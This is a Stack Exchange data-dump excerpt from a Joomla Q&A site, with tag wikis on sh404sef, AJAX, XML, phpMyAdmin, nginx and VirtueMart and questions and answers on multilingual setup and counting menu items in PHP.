  <row Id="3929" PostTypeId="5" CreationDate="2014-08-07T16:57:00.853" Score="0" Body="&lt;p&gt;&lt;strong&gt;sh404sef&lt;/strong&gt; is a commercial SEO extension (Siteground users can use a Lite version for free) that handles your URLs, your metadata and includes features such as security, analytics and QR codes. It is available for all Joomla versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sh404sef is developed by &lt;a href=&quot;http://anything-digital.com/sh404sef/seo-analytics-and-security-for-joomla.html&quot; rel=&quot;nofollow&quot;&gt;Anything Digital&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:44:31.830" LastActivityDate="2014-08-07T18:44:31.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3930" PostTypeId="4" CreationDate="2014-08-07T16:57:00.853" Score="0" Body="sh404sef is a commercial SEO extension (Siteground users can use a Lite version for free) that handles your URLs, your metadata and includes features such as security, analytics and QR codes. It is available for all Joomla versions." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:43:57.327" LastActivityDate="2014-08-07T18:43:57.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3931" PostTypeId="5" CreationDate="2014-08-07T17:06:54.687" Score="0" Body="&lt;h1&gt;URL - Uniform Resource Locator&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The uniform resource locator, abbreviated as URL (also known as web address, particularly when used with HTTP), is a specific character string that constitutes a reference to a resource. In most web browsers, the URL of a web page is displayed on top inside an address bar. An example of a typical URL would be &quot;&lt;a href=&quot;http://joomla.stackexchange.com&quot;&gt;http://joomla.stackexchange.com&lt;/a&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;URLs are commonly used for web pages (http), but can also be used for file transfer (ftp), email (mailto) and many other applications (see &lt;a href=&quot;http://en.wikipedia.org/wiki/URI_scheme&quot; rel=&quot;nofollow&quot;&gt;URI scheme&lt;/a&gt; for list).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T16:03:28.047" LastActivityDate="2015-08-21T16:03:28.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3932" PostTypeId="4" CreationDate="2014-08-07T17:06:54.687" Score="0" Body="The uniform resource locator, abbreviated as URL is a specific character string that constitutes a reference to a resource." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:41:56.983" LastActivityDate="2014-08-07T18:41:56.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3933" PostTypeId="5" CreationDate="2014-08-07T17:10:21.573" Score="0" Body="&lt;h1&gt;AJAX&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AJAX&lt;/strong&gt; stands for Asynchronous &lt;a href=&quot;/questions/tagged/javascript&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;javascript&amp;#39;&quot; rel=&quot;tag&quot;&gt;javascript&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/xml&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;xml&amp;#39;&quot; rel=&quot;tag&quot;&gt;xml&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not a technology in itself, AJAX is a term coined in 2005 by Jesse James Garrett, that describes a &quot;new&quot; approach to using a number of existing technologies together, including: HTML/XHTML, CSS, JavaScript, the DOM, XML, XSLT, and most importantly the &lt;a href=&quot;http://www.w3.org/TR/XMLHttpRequest&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;XMLHttpRequest&lt;/code&gt;&lt;/a&gt; object. AJAX uses the &lt;a href=&quot;http://www.w3.org/TR/XMLHttpRequest&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;XMLHttpRequest&lt;/code&gt;&lt;/a&gt; (abbreviated XHR) API to manage HTTP requests from inside the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When these technologies are combined in the AJAX model, web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page. This makes the application faster and more responsive to user actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This communication is performed by &lt;a href=&quot;/questions/tagged/javascript&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;javascript&amp;#39;&quot; rel=&quot;tag&quot;&gt;javascript&lt;/a&gt; code in the browser. Originally, it was anticipated that the data would be encoded in &lt;a href=&quot;/questions/tagged/xml&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;xml&amp;#39;&quot; rel=&quot;tag&quot;&gt;xml&lt;/a&gt; form, hence the acronym AJAX. However the term is now used for all browser/server interaction of this type, even when XML is not used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the X in AJAX stands for XML, JSON (&lt;a href=&quot;http://json.org&quot; rel=&quot;nofollow&quot;&gt;JavaScript Object Notation&lt;/a&gt;) is used more than XML nowadays because of its many advantages, including the availability of native methods to handle it, its lightness (compared to XML) and also being a strict subset of JavaScript. Both JSON and XML can be used for packaging information in the AJAX model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.w3.org/TR/XMLHttpRequest&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;XMLHttpRequest&lt;/code&gt;&lt;/a&gt; is the main method of interacting between the &lt;a href=&quot;/questions/tagged/server&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;server&amp;#39;&quot; rel=&quot;tag&quot;&gt;server&lt;/a&gt; and the &lt;a href=&quot;/questions/tagged/client&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;client&amp;#39;&quot; rel=&quot;tag&quot;&gt;client&lt;/a&gt;; it is supported by all modern browsers. Early versions of Internet Explorer (IE 5 and 6) don't support the native XHR API, although they do support an ActiveX API which has most of the capabilities of XHR (an example of this is &lt;code&gt;new ActiveXObject(&quot;MSXML2.XMLHTTP.3.0&quot;)&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Useful links:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Ajax_%28programming%29&quot; rel=&quot;nofollow&quot;&gt;AJAX on Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3.org/TR/XMLHttpRequest&quot; rel=&quot;nofollow&quot;&gt;The XMLHttpRequest Level 2 Working Draft on W3C&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://json.org&quot; rel=&quot;nofollow&quot;&gt;JSON - JavaScript Object Notation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://api.jquery.com/jQuery.ajax&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;jQuery.ajax()&lt;/code&gt; implementation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://api.prototypejs.org/ajax&quot; rel=&quot;nofollow&quot;&gt;ProtoypeJS Ajax implementation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dojotoolkit.org/reference-guide/1.7/quickstart/ajax.html&quot; rel=&quot;nofollow&quot;&gt;Dojo Ajax implementation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sencha.com/products/extjs&quot; rel=&quot;nofollow&quot;&gt;Ext JS Ajax implementation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20080702075113/http://www.adaptivepath.com/ideas/essays/archives/000385.php&quot; rel=&quot;nofollow&quot;&gt;Ajax: A new approach to web applications&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:45:32.033" LastActivityDate="2015-08-21T15:45:32.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3934" PostTypeId="4" CreationDate="2014-08-07T17:10:21.573" Score="0" Body="AJAX (Asynchronous JavaScript and XML) is a technique for creating seamless interactive websites via asynchronous data exchange between client and server. AJAX facilitates communication with the server or partial page updates without a traditional page refresh." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:44:09.257" LastActivityDate="2014-08-07T18:44:09.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3935" PostTypeId="5" CreationDate="2014-08-07T17:23:45.697" Score="0" Body="&lt;h1&gt;Extensible Markup Language&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/XML&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; defines XML as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;XML (Extensible Markup Language) is a set of rules for encoding documents in both human-readable and machine-readable form. It is defined in the XML 1.0 Specification produced by the &lt;a href=&quot;http://www.w3.org/&quot; rel=&quot;nofollow&quot;&gt;W3C&lt;/a&gt;, and several other related specifications, all gratis open standards.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In short, XML is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;designed to transport and store data; and&lt;/li&gt;&#xA;&lt;li&gt;a flexible text format derived from SGML (ISO 8879).&lt;/li&gt;&#xA;&lt;li&gt;a markup language much like HTML&lt;/li&gt;&#xA;&lt;li&gt;designed to be self-descriptive&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The design goals of XML emphasize simplicity, generality, and usability over the Internet. It is a textual data format with strong support via Unicode for the languages of the world. Although the design of XML focuses on documents, it is widely used for the representation of arbitrary data structures, for example in web services.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Joomla Manifest&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla requires an XML manifest file for all of the extensions. These files include the general installation information as well as parameters for the configuration of the extension itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file must be named &lt;code&gt;manifest.xml&lt;/code&gt; or &lt;code&gt;&amp;lt;extension_name&amp;gt;.xml&lt;/code&gt; and located in the root directory of the installation package.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example Joomla Manifest file&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The following code is the example XML manifest from the &lt;a href=&quot;http://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow&quot;&gt;Joomla Module Tutorial&lt;/a&gt;. Additional information regarding the structure and syntax of an XML manifest file can be found at &lt;a href=&quot;http://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow&quot;&gt;Joomla Docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;module&quot; version=&quot;3.1.0&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Hello, World!&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;John Doe&amp;lt;/author&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;A simple Hello, World! module.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_helloworld.xml&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_helloworld&quot;&amp;gt;mod_helloworld.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/default.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:34:17.053" LastActivityDate="2014-08-07T18:34:17.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3936" PostTypeId="4" CreationDate="2014-08-07T17:23:45.697" Score="0" Body="Extensible Markup Language (XML) is a flexible structured document format that defines human- and machine-readable encoding rules." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:41:37.213" LastActivityDate="2014-08-07T18:41:37.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3937" PostTypeId="5" CreationDate="2014-08-07T19:44:13.960" Score="0" Body="&lt;p&gt;phpMyAdmin is a free and open source tool written in PHP intended to handle the administration of MySQL with the use of a web browser. It can perform various tasks such as creating, modifying or deleting databases, tables, fields or rows; executing SQL statements; or managing users and permissions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Features&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Features provided by the program include:[8]&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Web interface&lt;/li&gt;&#xA;&lt;li&gt;MySQL database management&lt;/li&gt;&#xA;&lt;li&gt;Import data from CSV and SQL&lt;/li&gt;&#xA;&lt;li&gt;Export data to various formats: CSV, SQL, XML, PDF (via the TCPDF library), ISO/IEC 26300 - OpenDocument Text and Spreadsheet, Word, Excel, LaTeX and others&lt;/li&gt;&#xA;&lt;li&gt;Administering multiple servers&lt;/li&gt;&#xA;&lt;li&gt;Creating PDF graphics of the database layout&lt;/li&gt;&#xA;&lt;li&gt;Creating complex queries using Query-by-Example (QBE)&lt;/li&gt;&#xA;&lt;li&gt;Searching globally in a database or a subset of it&lt;/li&gt;&#xA;&lt;li&gt;Transforming stored data into any format using a set of predefined functions, like  displaying BLOB-data as image or download-link&lt;/li&gt;&#xA;&lt;li&gt;Live charts to monitor MySQL server activity like connections, processes, CPU/Memory usage, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The software, which is currently available in 72 languages, is maintained by &lt;a href=&quot;http://www.phpmyadmin.net/home_page/team.php&quot; rel=&quot;nofollow&quot;&gt;The phpMyAdmin Project&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T20:10:40.650" LastActivityDate="2014-08-07T20:10:40.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3938" PostTypeId="4" CreationDate="2014-08-07T19:44:13.960" Score="0" Body="phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T20:10:48.203" LastActivityDate="2014-08-07T20:10:48.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3939" PostTypeId="5" CreationDate="2014-08-07T19:54:17.337" Score="0" Body="&lt;p&gt;Nginx (pronounced &quot;engine-x&quot;) is an open source reverse proxy server for HTTP, HTTPS, SMTP, POP3, and IMAP protocols, as well as a load balancer, HTTP cache, and a web server (origin server). The nginx project started with a strong focus on high concurrency, high performance and low memory usage. It is licensed under the 2-clause BSD-like license and it runs on Linux, BSD variants, macOS, Solaris, AIX, HP-UX, as well as on other *nix flavors. It also has a proof of concept port for Microsoft Windows.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Running Joomla on nginx&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Unless you have specific requirements that demand a heavy web server like Apache, you are much better off using nginx with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions on how to get Joomla running with nginx and PHP via FastCGI can be found at &lt;a href=&quot;http://docs.joomla.org/Nginx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="9471" LastEditDate="2018-12-21T14:44:04.613" LastActivityDate="2018-12-21T14:44:04.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3940" PostTypeId="4" CreationDate="2014-08-07T19:54:17.337" Score="0" Body="Nginx is an open source reverse proxy server for HTTP, HTTPS, SMTP, POP3, and IMAP protocols, as well as a load balancer, HTTP cache, and a web server (origin server)." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T20:04:09.737" LastActivityDate="2014-08-07T20:04:09.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3941" PostTypeId="5" CreationDate="2014-08-07T20:31:28.110" Score="0" Body="&lt;h1&gt;What is Virtuemart?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;VirtueMart is a complete eCommerce solution. It is released under the GNU General Public License.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VirtueMart is free software. No limitations exist for VirtueMart. You can create and maintain a site with an unlimited number of categories, products, orders, customers, etc. In addition, lots of extensions (both free and commercial) are available for Virtuemart. Most of them can be found in the &lt;a href=&quot;http://extensions.joomla.org/extensions/extension-specific/virtuemart-extensions&quot; rel=&quot;nofollow&quot;&gt;Joomla Extension Directory (JED)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Who is behind Virtuemart?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;VirtueMart currently has only a very small team. There are 3 to 5 active developers, who help evolve the Core System and update the Project's Open Program Sources. There are a lot of developers and active users on this forum who help pushing this Application forward into the right direction.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Documentation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The first place to look for documentation on Virtuemart is in the &lt;a href=&quot;http://dev.virtuemart.net/redmine/projects/virtuemart/wiki&quot; rel=&quot;nofollow&quot;&gt;Virtuemart Knowledgebase&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Joomla Compatibility&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As of August 2014, Virtuemart is not compatible with Joomla 3.x, although the upcoming Virtuemart 3 is expected to work with Joomla 3.x (&lt;a href=&quot;http://virtuemart.net/news/latest-news/460-updates-about-virtuemart-3-support-membership&quot; rel=&quot;nofollow&quot;&gt;http://virtuemart.net/news/latest-news/460-updates-about-virtuemart-3-support-membership&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:39:41.830" LastActivityDate="2015-08-21T15:39:41.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3942" PostTypeId="4" CreationDate="2014-08-07T20:31:28.110" Score="0" Body="VirtueMart is an Open Source E-Commerce solution (a Component or Plug-in) for the Joomla! Content Management System. It can be run as a Shopping Cart, or in Catalog mode." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T20:42:16.617" LastActivityDate="2014-08-07T20:42:16.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3943" PostTypeId="1" AcceptedAnswerId="3944" CreationDate="2014-08-07T22:59:42.967" Score="2" ViewCount="1449" Body="&lt;p&gt;I know Joomla supports multiple languages since version 1.6, but what is the correct way to configure Joomla and set up my multilingual content/modules?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-07T22:59:42.967" Title="How can I configure Joomla with several languages?" Tags="|joomla-3.x|joomla-2.5|language|" AnswerCount="1" CommentCount="2" ClosedDate="2014-08-10T02:27:21.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="3944" PostTypeId="2" ParentId="3943" CreationDate="2014-08-07T22:59:42.967" Score="2" Body="&lt;p&gt;Joomla is an excellent system for multilingual websites, once it's correctly set up. No 3rd party extensions are required. But the configuration is not always intuitive (although recent versions of Joomla can be automatically configured during installation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a short guide on how to get all pieces together:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Install languages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Any language you want to use in Joomla has to be installed. Languages can be found &lt;a href=&quot;http://community.joomla.org/translations.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, and installed just like any other Joomla extension.&lt;br&gt;&#xA;Joomla 3 has an option to install languages directly from the Language Manager.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Add content languages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While still in the Language Manager, click the &lt;em&gt;Content&lt;/em&gt; tab, and then click &lt;em&gt;New&lt;/em&gt; on the toolbar to set up a new content language.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Title:&lt;/strong&gt; The name of the language as it will appear in the dropdown lists when assigning the language to an item. This Title will also be used by the langswitcher module in front-end when flags are not used.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Title Native:&lt;/strong&gt; A title in any language desired by the admin to be displayed in the Content Language list.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;URL Language Code:&lt;/strong&gt; This Language Code will be appended to the site url. When SEF is enabled, one will get &lt;a href=&quot;http://mysite.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/en/&lt;/a&gt;. If SEF is disabled the suffix &amp;amp;lang=en will be appended at the end of the URL. Note the Language Code must be unique among all the languages.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Image Prefix:&lt;/strong&gt; Prefix of the image file for this language when using the &quot;Use image flags&quot;. Example: if 'en' is chosen, then the image shall be en.gif. Images and CSS for this module are in media/mod_languages/ Users can add any image/flag there with any prefix. Example: pt_br for the Brazilian flag.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Language Tag:&lt;/strong&gt; Enter here the language tag example: en-GB for English (UK). This should be the exact prefix used for the language installed or to be installed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Status:&lt;/strong&gt; Whether this content language is published or not. If published, it will display as a choice in the Language Switcher module in frontend.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Metadata:&lt;/strong&gt; These metadata definitions will override Global Configuration Metadata in Multilanguage configuration for each language used.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Site Name:&lt;/strong&gt; The translated name of the site if you choose to use one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Repeat the process for all languages you want to add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TIMAE.jpg&quot; alt=&quot;English (UK) content language&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;Screenshot from the English (UK) content language:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Configure Language Filter&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Go to the Joomla Plugin Manager and find the &lt;code&gt;System - Language Filter&lt;/code&gt; plugin. This plugin has several options that can be changed depending on your needs. Remember to &lt;strong&gt;publish&lt;/strong&gt; the plugin once all settings have been configured.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Create menu items&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla requires a &quot;Default Page&quot; to be set for each language, in addition to a default page for &lt;code&gt;All&lt;/code&gt; languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's recommended to create a new Menu for each language, (go to &lt;strong&gt;Menu&lt;/strong&gt; &gt; &lt;strong&gt;Add new Menu&lt;/strong&gt;) and a hidden menu for the &lt;code&gt;All&lt;/code&gt; languages default page.&#xA;Create the Default Page for &lt;code&gt;All&lt;/code&gt; languages (or keep the existing one).&#xA;Create a Defalut Page for each additional language, and set &quot;Default Page&quot; to &quot;Yes&quot; and &quot;Language&quot; to the corresponding language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If your language don't show up in the &quot;Language&quot; list when creating a menu, there's probably an error in the Content Language setup.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When done, your menu structure should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Main Menu (or Hidden menu)&#xA;   - Home (set as a Home in menu item list, language: ALL)&#xA;Menu for English Language&#xA;   - Home for English Lang (set as a Home in menu item list, language: English)&#xA;Menu for Spanish&#xA;   - Home for Spanish (set as a Home in menu item list, language: Spanish)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Menus&lt;/code&gt; dropdown should display the corresponding flag together with the menu name.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;5. Add Language Switcher module (optional)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Language Switcher is part of the default Joomla modules, and can be added just as any other module from the module manager. Publish it to any template position, and change the module settings as needed. You can also change language directly in the URL (or with a link) by adding &lt;code&gt;/URLlanguagecode/&lt;/code&gt; to your URL (eg. www.mysite.com/es).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;6. Duplicate your content&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On a multilingual Joomla site, every article and module can be assigned a specific language or &quot;All&quot;. It's a good idea to create a Category for each language to keep your articles separated. Use the Batch tool to assign the corresponding language to each article, or duplicate your content as needed. The same method can be used with modules, but keep in mind that modules with specific menu assignments will need to be configured accordingly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;7. 404 errors&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's common to see &lt;code&gt;404-Not Found&lt;/code&gt; errors when building a multilingual site. This is usually because the article your trying to display has a different language than the menu item language.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-07T22:59:42.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3947" PostTypeId="2" ParentId="840" CreationDate="2014-08-08T11:05:31.007" Score="2" Body="&lt;p&gt;Have you tried jce editor? &#xA;I always replace the default with this one and work s fine for me.&#xA;&lt;a href=&quot;https://www.joomlacontenteditor.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-08-08T11:05:31.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3948" PostTypeId="1" CreationDate="2014-08-08T11:13:59.593" Score="0" ViewCount="297" Body="&lt;p&gt;I want to write a new Joomla template.&#xA;How can I obtain the number of parent elements in my menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far i tried this:&#xA;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$menu_items = $menu-&amp;gt;getItems('menutype', 'topmenu');&#xA;// var_dump($menu_items);&#xA;foreach($menu_items as $i)&#xA;{&#xA;    if($i-&amp;gt;parent == 1)&#xA;    {&#xA;        $itemCounter++;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but at the end i get the wring number :(&lt;/p&gt;&#xA;" OwnerUserId="1754" LastEditorUserId="159" LastEditDate="2014-08-10T09:03:01.630" LastActivityDate="2017-10-04T13:50:20.050" Title="Get the number of menu elements? (Parents)" Tags="|menu|menu-item|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3949" PostTypeId="2" ParentId="3948" CreationDate="2014-08-08T19:34:22.247" Score="1" Body="&lt;p&gt;It's not very clear what you're asking and what you expect to get, but try changing &lt;code&gt;if($i-&amp;gt;parent == 1&lt;/code&gt; to &lt;code&gt;if($i-&amp;gt;level)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should give you the number of top-level menu items in your main menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$menu_items = $menu-&amp;gt;getItems('menutype','mainmenu', false);&#xA;$itemCounter = 0;&#xA;foreach($menu_items as $i)&#xA;{&#xA;    if($i-&amp;gt;level == 1)&#xA;    {&#xA;        $itemCounter++;&#xA;    }&#xA;}&#xA;echo $itemCounter;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-08T19:34:22.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3950" PostTypeId="1" CreationDate="2014-08-09T11:20:45.877" Score="2" ViewCount="2448" Body="&lt;p&gt;I use Protosar template on Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried for days now and I can't figure out how to remove the space/padding/margin between header tag and nav tag. I have done everything including zeroing margin and padding for the &quot;header&quot; and &quot;navigation&quot; classes but so far it hasn't worked. Any idea?&lt;/p&gt;&#xA;" OwnerUserId="1758" LastEditorUserId="159" LastEditDate="2014-08-10T08:57:04.847" LastActivityDate="2014-08-10T08:57:04.847" Title="Removing the space between header and nav on Protostar" Tags="|templates|template-override|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
